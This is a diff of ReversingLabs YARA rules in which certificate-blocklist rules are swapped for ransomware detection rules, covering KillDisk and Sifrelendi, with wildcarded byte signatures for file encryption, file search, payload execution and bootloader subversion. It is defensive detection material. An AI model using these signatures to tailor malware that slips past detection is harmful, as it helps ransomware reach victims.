?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $exec_payload = { + 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 4D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? + E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? + ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? C3 + } + $copy_payload = { + 55 8B EC 6A ?? 6A ?? 6A ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ?? + ?? ?? ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 + 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 + 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 + } + $generate_strings_to_encrypt = { + 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D + 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? + ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? + ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? + ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 + ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? + ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? + ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B + 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 + ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? + ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "b1:91:81:25:16:e6:61:8d:49:e6:cc:f5:e6:3d:c3:43" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $generate_strings_to_encrypt and $encrypt_file and $server_communication and $exec_payload ) or ( $encrypt_file and $server_communication_1 and $copy_payload ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4Ba7Fb8Ee1Deff8F4A1525E1E0580057 : INFO FILE +rule REVERSINGLABS_Linux_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects KillDisk ransomware." author = "ReversingLabs" - id = "af912c64-334d-51f5-8ca4-707fcec512ba" - date = "2020-08-05" - modified = "2023-11-08" + id = "af6652dd-c668-5ae1-b51b-e272cb440c20" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1326-L1342" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.KillDisk.yara#L1-L144" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "324157b9fec2653cb8874c7a1a5b6e39b121992cd52856b8c4a2a8b7cee86a69" + logic_hash = "3ed1fb2b7b24cd4d5100d93ed53a9ab28e1482bd0998a0538d8710a962ee839f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "KillDisk" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_1 = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 + 89 45 ?? 31 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 + ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? + ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? + ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 85 C0 79 ?? 48 8B + 85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 78 ?? 48 8B 85 ?? ?? ?? ?? BE ?? + ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? + 85 C0 79 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 90 ?? ?? ?? ?? 48 85 C0 + 48 0F 48 C2 48 C1 F8 ?? 48 89 85 ?? ?? ?? ?? 48 8B 45 ?? 48 85 C0 7E ?? 48 83 BD ?? + ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? + ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48 + 83 BD ?? ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? + ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C2 48 C1 + } + $encrypt_files_2 = { + EA ?? 48 01 D0 48 D1 F8 48 C1 E0 ?? 48 89 C1 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 + CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? + ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? + ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 BA ?? + ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48 C1 F8 ?? 48 89 C2 48 89 C8 48 + C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B + 85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8 + ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 + ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? + 48 8B 8D ?? ?? ?? ?? 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48 + C1 F8 ?? 48 89 C2 48 89 C8 48 C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA + ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 83 85 ?? ?? ?? ?? ?? 83 85 ?? + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? + ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B 75 ?? 64 48 33 + 34 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3 + } + $search_files = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 + 89 45 ?? 31 C0 8B 05 ?? ?? ?? ?? 83 C0 ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 F8 + ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? + ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? + E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 + ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? + ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? + ?? 85 C0 75 ?? 83 85 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 + D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48 89 C2 B8 ?? + ?? ?? ?? 48 89 D7 F2 AE 48 89 C8 48 F7 D0 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0 + 66 C7 00 ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 + C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8D + 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 E8 ?? 89 05 ?? ?? ?? ?? + 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? + ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? + 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3 + } + $subvert_grub_1 = { + 55 48 89 E5 48 81 EC ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 48 B8 + ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 + ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? + ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? + ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 + ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 + ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? + ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ?? + ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? + ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? + ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 + } + $subvert_grub_2 = { + 48 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ?? + ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? + ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? + ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 + 8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 4C 8D 85 ?? ?? + ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? + ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 + E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? + ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 B9 ?? + ?? ?? ?? ?? ?? ?? ?? 48 89 08 C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 48 8B 85 + } + $subvert_grub_3 = { + 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? + ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? + ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? + ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? EB ?? 48 8D 85 ?? + ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 + 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? + ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? + 48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ?? + ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5 + ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 83 C4 ?? EB ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? + ?? 48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D + ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D + B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B + 55 ?? 64 48 33 14 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Adobe Systems" and pe.signatures [ i ] . serial == "4b:a7:fb:8e:e1:de:ff:8f:4a:15:25:e1:e0:58:00:57" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( $search_files and ( all of ( $encrypt_files_* ) ) and ( all of ( $subvert_grub_* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_2Df9F7Eb6Cdc5Ca243B33122E3941E25 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Sifrelendi : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Sifrelendi ransomware." author = "ReversingLabs" - id = "da1895fd-ec29-513d-b8ae-2317f84b8280" - date = "2020-08-05" - modified = "2023-11-08" + id = "b9083b7c-eb09-52da-a240-39b51df892f9" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1344-L1360" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sifrelendi.yara#L1-L67" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "703eccd5573fe42f03ec82887660d50e942156d840394746c90ba87d82507803" + logic_hash = "430d3877c10c86fcb19b5624dd8886d61e54ccd0453678329309b49712c6d5c6" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Sifrelendi" + tc_detection_factor = 5 importance = 25 + strings: + $search_files = { + E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ?? + ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 + ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB + ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D + C3 + } + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 + FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C9 B2 ?? A1 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B F8 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C7 E8 ?? ?? ?? ?? 33 C9 B2 + ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ?? + ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B 45 + ?? 8B 10 FF 12 50 8B CB 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 6A ?? 6A + ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 8B 10 FF 12 50 8B 4D ?? 8B D3 8B C7 E8 ?? ?? ?? ?? 8B + C7 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 8D 45 + ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + 